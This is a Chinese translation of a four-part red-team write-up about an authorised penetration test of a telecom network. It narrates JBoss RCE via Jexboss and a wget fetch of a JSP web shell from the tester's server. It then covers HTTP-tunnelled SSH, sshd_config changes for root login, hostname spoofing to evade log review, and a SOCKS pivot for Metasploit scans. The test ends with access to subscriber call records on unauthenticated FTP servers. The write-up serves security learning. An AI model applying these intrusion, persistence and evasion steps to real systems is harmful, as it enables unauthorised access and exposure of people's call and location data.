TLDR;作为一个电信公司的红队,从该公司的网络监控系统(NMS)获得一个立足点。通过基于HTTP协议的SSH隧道解决了Shell反连问题。通过HTTP获得SSH连接时,使用了Ninja。搭建代理以进行内部网络扫描。使用SS7应用程序访问CDR和VLR。
由于信息的敏感性,本文很多信息均已打码。
不久前,我正在为一个客户进行红队渗透测试。甲方爸爸是一家电信公司,要求我进入到内网,控制该电信网络的呼叫数据记录(CDR)。如果您不知道CDR是什么,下面是它的定义(从Wikipedia中无耻地复制而来):
呼叫详细记录(CDR)是由电话交换或其它电信设备所产生的数据记录的文档,记录了通过电话呼叫或其它电信传输(例如,文本消息)的细节信息。该记录包含呼叫的各种属性,例如时间,持续时间,完成状态,源号码和目的地号码。
在我所有的渗透测试中,这次经历的重要性可以占有一席之地。获得最初的立足点太容易了(通过一个简单的网络服务漏洞来获得RCE),但是问题在于维持稳定的shell。
本文章(而不是教程)会分享我从远程代码执行(RCE)到代理内部网络扫描的经验。
每个道德黑客/渗透测试人员/漏洞赏金猎人/红队成员都知道侦察的重要性。“给我六个小时砍下一棵树,我将用头四个时间削斧头(emmm,就是磨刀不误砍柴工啊)”这话说得太对了。侦察范围越广,就越有利于渗透。
因此,对于RTE而言,有效的信息侦察包括:DNS枚举,ASN和BGP查找,来自多个搜索引擎的一些被动侦察,检查GitHub、BitBucket、GitLab等源代码库(上面很多意外之喜),如果找不到RCE,则对员工进行OSINT信息搜集,以实施鱼叉式网络钓鱼攻击。(所言并非妄语,欺骗员工下载并执行恶意文档其实很容易,当然,前提是您得搞定AVs和垃圾邮件过滤器)
当对一个特定组织进行网络侦察,有很多种方法。就我而言,我喜欢从DNS枚举开始。
aiodnsbrute -v -t 7000 — no-verify -w dns-list.uniq.lst ******.com.** | grep -v Timeout | grep -v Misformatted | grep -v exception
有趣的事实:我使用的字典有277万条DNS记录。
大多数赏金猎人会为找到的所有子域名寻找80或443端口。问题是,有时为了安全起见,最好全端口扫描一次。以我为例,我发现了一个子域名e[REDACTED]-nms.[REDACTED].com.[REDACTED]
,经过全端口扫描后,发现了一些有趣的结果。
端口12000和14000没啥特别,但是14100就很有意思了,简直捡到宝了!
J-Fuggin-Boss !!
从这里开始,每个利用过臭名昭著的JBoss漏洞的人都知道事情将如何发展。对于新手,如果您没有JBoss开发的经验,则可以查看以下链接来了解这个漏洞:
JBoss:您进入企业网络的桥梁
hacking_and_securing_jboss
对于Jboss渗透,可以使用Jexboss。该工具包含许多方法和渗透技术,还涵盖了Application和Servlet反序列化和Struct2漏洞利用。您也可以使用Metasploit来渗透JBoss。说一千道一万,我还是更喜欢使用Jexboss。
继续渗透,jexboss命令如下:
./jexboss.py -u http://[REDACTED]:14100/
从上面的屏幕截图可以看出,该服务器存在漏洞。然后,使用JMXInvokerServlet方法,可以在服务器上执行远程代码。是不是觉得相当无脑?
所以观众朋友们一定以为我在水文了
往下看就行!
现在既然有了立足点,实际的问题出现了。当然,像往常一样,一旦有了RCE,我就尝试建立反向shell。
结果还真的反连成功了!
但是,shell很不稳定,几秒钟后python进程就被杀死了。我尝试了使用其他的一句话反连payload,试了不同的通用端口,甚至试了UDP,但都无功而返。我还尝试了不同形式的reverse_tcp/http/https
Metasploit payload来获得Meterpreter连接,但无一例外都在几秒钟后断开了连接。
我以前曾经遇到过类似的情况,并且我总是问如果我无法获得反向shell连接,该怎么办?
现在,当我尝试获得稳定的反连shell时,我失败了。我想到的另一个想法是获取一个监听类型的shell(bind shell,出于稳定性通过HTTP协议获得SSH隧道),而不是基于HTTP 的反连 shell(HTTP上的TCP隧道)。
HTTP上的TCP隧道(用于实现TCP稳定)+ SSH隐形连接(通过创建的TCP隧道)+ 内网使用Metasploit的SOCKS隧道(动态SSH隧道)=通过这些递归隧道渗透内网来获取数据。
看起来很复杂?让我们将其分为多个步骤:
1. 首先,我在服务器和NMS服务器之间创建了一个网桥,它支持除HTTP/HTTPS以外的其他协议的通信(目前暂不提供L2)[ HTTP上的TCP隧道 ]
2. 创建网桥(HTTP上的TCP隧道)后,建立从我的服务器(2222/tcp)到NMS服务器(22/tcp)的SSH端口转发,以便可以基于HTTP通过SSH连接到NMS服务器。(准确地说,是通过HTTP协议上的TCP连接中的SSH)注意:NMS服务器上的SSH服务运行在127.0.0.1上
3. 然后,将NMS SSH服务器配置为允许root登录并生成SSH私钥(将我的公钥复制到`authorized_hosts`文件),以便通过SSH访问NMS服务器。
4. 我使用私钥检查了与NMS服务器的SSH连接,连接建立后,创建了一个动态SSH隧道(SOCKS),以便通过SSH隧道代理Metasploit(准确地说,是通过HTTP协议上的TCP连接中的SSH隧道来代理Metasploit)(十分之拗口,我崩溃了……)。
我会逐步介绍如何创建隧道以及如何使用它们。
隧道协议是一个通信协议,允许数据从一个网络传输到另一个网络。允许通过封装跨专用网络(例如Internet)发送专用网络通信。因为隧道化涉及将流量数据重新打包为另一种形式(也许以加密为标准),所以它可以隐藏其本身通过隧道传输流量的性质。
隧道协议通过使用数据包的数据部分(payload)来承载实际提供服务的数据包。隧道使用分层协议模型(例如OSI或TCP / IP协议的分层协议模型)。但是,使用payload来承载网络通常不提供的服务时,通常会违反分层协议。通常,传输协议在分层模型中的操作级别与payload协议的相同或比它更高。
资料来源:维基百科
因此,基本的想法是使用Web服务器作为中间代理,将所有网络数据包(TCP数据包)从Web服务器转发到内网。
使用HTTP协议通过Web服务器将TCP数据包转发到内部网络
TCP隧道可以在端口访问受限和出口流量过滤的情况下能给我们提供很多便利。本次渗透倒没有被过滤流量,但是我使用了这种技术主要用来获得稳定的shell连接。
现在,我已经在服务器上具有RCE,并且具有root权限,于是使用ABPTTS创建了一个基于JSP的shell。
如GitHub中所述:
ABPTTS使用Python客户端脚本和Web应用程序服务器页面/程序包,通过HTTP / HTTPS连接到Web应用程序服务器,从而建立TCP流量隧道。
当前,此工具仅支持JSP/WAR
和ASP.NET
服务器端组件。
因此,基本思路是使用ABPTTS
创建基于JSP的shell并将其上传到Web服务器,让该工具与JSP Shell连接,并通过HTTP创建TCP隧道,从而在本地与服务器之间创建一个安全的连接(SSH) 。
python abpttsfactory.py -o jexws4.jsp
当使用ABPTTS生成shell时,该工具将创建一个配置文件,用来通过HTTP/HTTPS创建TCP隧道。
然后,我使用wget将JSP Shell上传到服务器。注意:jexws4.war shell是Jexboss的软件包。当您通过Jexboss利用JBoss漏洞时,该工具会将自己的WAR shell上传到服务器。就我而言,我只是试图找到此WAR/JSP shell(jexws4.jsp)并将其替换为ABPTTS shell。
wget http://[MY SERVER]/jexws4.jsp -O <location of jexws4.jsp shell on NMS server>
将ABPTTS shell上传到服务器后,在Jexboss上执行随机命令来查看结果输出。现在,Jexboss shell已被ABPTTS shell覆盖,无论我执行了什么命令,由于ABPTTS shell的原因,输出始终是哈希值,如下图所示。
从上图可以看到,当我执行id
命令时,我得到了一个奇怪的哈希值,证明ABPTTS shell成功上传!
现在,我已经在HTTP上配置了TCP隧道,接下来我要做的是在NMS服务器22端口建立SSH隧道,并将端口绑定到我的系统(对应2222端口)。这样我就可以通过SSH连接到NMS。
通过HTTP上的TCP隧道进行SSH端口转发(尚未建立隧道)
下一步准备端口转发,以便可以使用本地2222端口访问NMS服务器上的22端口。
python abpttsclient.py -c <配置文件的位置> -u <ABPTTS shell URL> -f 127.0.0.1:2222/127.0.0.1:22
如下图所示,本地服务器的2222端口处于LISTEN状态。
下一件事是配置SSH服务器以连接到NMS并启动动态SSH隧道(SOCKS),以进一步利用网络。
连接到SSH服务器后,连接信息将保存在一个日志文件中。要查看这些连接的详细信息,可以在Unix系统中执行w
命令。
在许多类似Unix的操作系统中,命令
w
提供了每个登录到计算机的用户的快速摘要、每个用户当前正在执行的操作以及所有活动对计算机本身造成的负担。该命令是Unix程序中其他几个单命令的组合:who
,uptime
和ps -a
。资料来源:维基百科
因此,从根本上来说,源IP信息被该系统保存了,这对于红队队员来说是危险的。由于这是RTE,因此我一定不能让管理员知道我的C2位置。(不用担心,我使用的ABPTTS shell是从服务器连接的,并且我已经购买了一个域名用来实施IDN Homograph攻击,以减少踪迹泄露的机会)
为了使隐蔽连接正常工作,我查看了hosts文件以收集更多信息,发现该服务器在网络内部的使用率很高。
这样的服务器已经受到监视,因此我的动静必须尽可能小。NMS服务器监视的应该是与该服务器之间的所有网络连接。这意味着我无法通过HTTP的TCP隧道使用普通端口进行扫描。
那如果使用SSH将我的服务器和NMS服务器之间的通信进行加密呢?但是对于SSH连接,我的主机名和IP信息将被存储在日志文件中,并且用户名也容易暴漏。
我的服务器用户名为“ harry”,如果为此用户生成一个密钥并将其存储在authorized_keys文件中的话,并不是一个好的选择。
然后,想到了一个主意:
1. 在我的服务器上创建用户“ nms”(该用户已在NMS服务器中创建)。
2. 将我的服务器的主机名从OPENVPN 更改为[REDACTED]_NMS[REDACTED]。(与NMS服务器相同)
3. 为我的服务器上的“ nms”用户生成SSH密钥,并将公共密钥复制到NMS服务器中。(authorized_keys)
4. 配置运行在NMS上的SSH服务器(以启用root权限登录PermitRootLogin)、TCP端口转发和网关端口。(即SSH -g开关)
5. 将NMS服务器配置为充当内网探测的SOCKS代理。(动态SSH隧道)
6. SOCKS隧道现在已加密,我可以使用此隧道利用Metasploit进行内网扫描。
首先,我首先在服务器上添加用户nms
,以便可以生成用户特定的SSH密钥。
我甚至更改了服务器的主机名,使其与NMS服务器的主机名完全相同,因此当我使用SSH登录时,日志将显示用户登录条目为nms@[REDACTED]_NMS[REDACTED]
接下来,我在本地服务器上为“ nms”用户生成了SSH密钥。
除此之外,还必须更改NMS服务器上的SSH配置,因此我从服务器下载了sshd_config文件,并更改了其中的一些内容。
AllowTCPForwarding:此选项用于启用TCP端口转发。
GatewayPorts:此选项用于启用端口,该端口绑定到远程端口上的接口(回环除外)。(我启用了此选项,是为了此服务器上其他内部系统的反连shell能够通过反向端口转发将shell转发回本地)
PermitRootLogin:此选项允许客户端使用“ root”权限连接到SSH服务器。
StrictModes:此选项指定SSH在接受登录之前,是否应检查用户在其主目录中的权限。
现在配置已完成,我迅速将sshd_config文件上传(更像是覆盖)到NMS服务器。
而且我还将SSH公钥复制到“ root”用户的authorized_keys文件中。
设置完所有内容后,我随后尝试了一个测试连接,看看能否在NMS服务器上使用“ root”来执行SSH!
额滴天鹅,成功了。
通过HTTP连接的TCP隧道的SSH(基于ABPTTS Shell(JSP)的通过HTTP连接创建的TCP隧道上的SSH端口转发)。。。。(能不能再拗口点!!!)
让我们看看维基百科是怎么定义的
动态端口转发(DPF)是一种通过使用防火墙针孔遍历防火墙或NAT的按需方法。目的是使客户端能够安全地连接到受信服务器,该受信服务器充当中介,目的是向一个或多个目标服务器发送/接收数据。
DPF可以通过将本地应用程序(例如SSH)设置为SOCKS代理服务器来实现,用于处理通过网络或Internet的数据传输。
建立连接后,可以使用DPF为连接到不受信任网络的用户提供额外的安全性。由于数据必须先通过安全隧道到达另一台服务器,然后再转发到其原始目的地,因此可以保护用户免受LAN上数据包嗅探的影响。
因此,我要做的就是创建一个动态SSH隧道,让NMS服务器可以充当SOCKS代理服务器。使用SOCKS隧道的一些好处:
1. 通过NMS服务器间接访问其他网络设备/服务器(**NMS服务器成为我的网关**)
2. 由于使用了**动态SSH隧道**,所有从本地服务器到NMS服务器的流量都已加密(使用SSH连接)
3. 即使服务器管理员坐在NMS服务器上并监视网络,他也无法立即找到根本原因。(敬业的管理员可能会发现蛛丝马迹)
4. 连接是稳定的(使用HTTP 的原因),现在所有这些递归隧道都可以顺利运行,因为通过HTTP实现的TCP隧道非常稳定。
当我通过SSH登录到NMS服务器时,这是'w'命令显示的内容:
现在,我要做的就是创建SOCKS隧道,使用以下命令:
ssh -NfCq -D 9090 -i <private key/identity file> <user@host> -p <ssh custom port>
基于这个原因,sshd_config
文件中的“PermitRootLogin
参数已被更改(以root权限登录到NMS服务器)。
担心服务器管理员会对设置有怀疑?通常,当打开SSH连接时,服务器管理员有时会检查登录的用户名和用于登录的授权密钥,但在大多数情况下,他会检查发起连接的主机名/IP。
就我而言,我使用2222端口(由于HTTP上的TCP隧道)从地址为127.0.0.1的服务器启动了连接,目标地址为127.0.0.1
的NMS
服务器。现在,由于有了此设置,他所看到的只是由NMS服务器到NMS服务器的SSH连接,该连接使用存储为用户nms
的授权密钥(公共密钥)(这就是为什么我在主机上创建相同用户以生成密钥),即使管理员检查了known_hosts文
件,他所看到的只是nms@[REDACTED]_NMS[REDACTED]
用户已连接到SSH,其IP为127.0.0.1
,而该ip早已存在于NMS中的用户配置文件中。
为了确认SOCKS隧道,我检查了本地服务器上的连接表,端口9090/tcp处于LISTEN状态。
很棒!SOCKS隧道已准备就绪!
通过SSH连接到服务器时,将自动分配伪TTY。当然,当您通过SSH(单线)执行命令时,不会发生这种情况。因此,每当您想通过SSH建立隧道或创建SOCKS隧道时,请尝试使用-T选项禁用伪TTY分配。您还可以使用以下命令:
ssh -NTfCq -L <local port forwarding> <user@host>
ssh -NTfCq -D <Dynamic port forwarding> <user@host>
要检查所有SSH交换机,您可以参考SSH手册(强烈推荐!)。当使用交换机创建隧道时(如上所示),您可以创建一个无需分配TTY的隧道,并且隧道端口可以正常工作!
在上一部分中,我提到了使用本地服务器2222端口创建SSH隧道进行隐身SSH访问时的步骤。本部分将展示如何使用SOCKS隧道进行内网侦察,以及如何渗透内部服务器来访问存储在服务器中的CDR。
在参与过程中,通过HTTP上的TCP隧道创建一个动态SSH隧道,这样的shell就很nice!
接着在9090端口上配置了SOCKS隧道,然后通过代理使用NMap进行扫描。
与NMap相比,Metasploit的扫描覆盖范围更大,并且更能够轻松管理内网IP扫描。为了对所有模块使用代理,设置setg Proxies socks4:127.0.0.1:9090
命令(全局设置代理选项)。使用了auxiliary/scanner/http/http_version模块来寻找内网服务器。
由于使用了setg命令设置了Proxies选项,现在要做的只是提供IP子网范围并运行该模块。
我找到了一些远程管理控制器(iRMC),一些SAN交换机(switchExplorer.html)和一个JBoss实例……
内部还有另一个JBoss实例吗?
因此,在内部IP 10.xxx的80端口上运行了另一个JBoss实例,因此,我要做的就是使用代理链并在内网IP上再次运行JexBoss(我也可以在JexBoss中使用-P选项来提供代理地址)。
该JBoss服务器很easy也攻下了。因此,我能够从我的关键机器(初始立足机器)获得RCE到下一个内部JBoss服务器。
获得shell之后,使用以下命令获取/home/<user>
位置下的所有文件和目录:
cd /home/<user> | find . -print | sed -e “s;[^/]*/;|_ _ _ _;g;s;_ _ _ _|; |;g” 2>&1
输出结果发现一个有趣的.bat文件:ss7-cli.bat
(该脚本配置了SS7命令行管理程序引导环境)
在同一台内部JBoss服务器中,还存储了一个访问者位置寄存器(VLR,Visitor Location Register)控制台客户端应用程序,方便从数据库访问VLR信息。
№7信令系统(SS7)是1975年开发的一组电话信令协议,用于在世界范围内的公共交换电话网(PSTN)的大部分地区建立和断开电话呼叫。该协议还执行号码转换、本地号码可携带性、预付费计费、短消息服务(SMS)等其他服务。资料来源:维基百科
为了监视SS7/ISDN链接、解码协议标准并生成CDR以进行计费,需要一个控制台客户端,该客户端与系统进行交互。
您可能会问,为什么JBoss上运行着一个SS7客户端应用程序?一个字:Mobicents
Mobicents是一个用Java编写的开源VoIP平台,可帮助创建、部署、管理服务和应用程序,这些服务和应用程序可跨一系列IP和传统通信网络集成语音、视频和数据。资料来源:维基百科
Mobicents支持服务构建模块(SBB,Service Building Blocks)的组合,例如呼叫控制,计费,用户供应,管理以及与状态相关的功能。这使Mobicents服务器成为电信运营支持系统(OSS)和网络管理系统(NMS)的便捷选择。资料来源:design.jboss.org
因此,看起来该JBoss服务器正在运行VoIP网关程序(SIP服务器),该应用程序正在使用SS7与公共交换电话网(PSTN)进行交互。(在没有任何类型的网络体系拓扑图的情况下,了解内网结构真是累死个人)
当我在运行VoIP网关的内网JBoss程序中进行更多信息侦察时,发现有一些内部网关服务器,CDR备份数据库,存储了SS7和USSD协议备份配置的FTP服务器等(感谢/etc/hosts
)
从hosts文件中,我发现了很多FTP服务器,这些服务器起初我并不觉得很重要,但是后来我发现了CDR-S和CDR-L FTP服务器。这些服务器分别存储备份的CDR S-Records和CDR L-Records。
使用Metasploit,我快速扫描了这些FTP服务器,检查它们的身份验证状态。
无需任何身份验证即可访问FTP服务器
也许FTP服务器已被VoIP应用程序或其他程序当作内部专用,但捡着就是宝,不用白不用!
因此,我能够访问几乎所有移动订户以XLS格式存储的CDR备份。(由于是非常重要的信息,这里不得不马赛克)
上图中,A Number是呼叫始发地(呼叫方),B Number是所拨打的号码。CDR记录还包括IMSI和IMEI号码,呼叫开始/结束日期和时间戳,呼叫持续时间,呼叫类型(呼入或呼出),服务类型(电信服务公司),Cell ID-A(来自此处的Cell Tower)呼叫始发和Location-A(呼叫者的位置)
当我们的团队询问客户有关我们对CDR备份服务器的访问权限时,客户便要求我们在此处结束我们的合作。我想他们可能接受不了这样的结果
the end
PS.原博主是分了四篇文章介绍这个过程的,我把它合成一篇了。
原文链接:
https://medium.com/bugbountywriteup/how-i-hacked-into-a-telecom-network-part-1-getting-the-rce-167c2bb320e6
https://medium.com/bugbountywriteup/how-i-hacked-into-a-telecom-network-part-2-playing-with-tunnels-tcp-tunneling-b4cef2837938
https://medium.com/bugbountywriteup/how-i-hacked-into-a-telecom-network-part-3-playing-with-tunnels-stealthy-ssh-dynamic-tunnels-5ac26557d0eb
https://medium.com/@TheCyb3rAlpha/how-i-hacked-into-a-telecom-network-part-4-getting-access-to-cdrs-ss7-applications-vlrs-9a8cf95e2648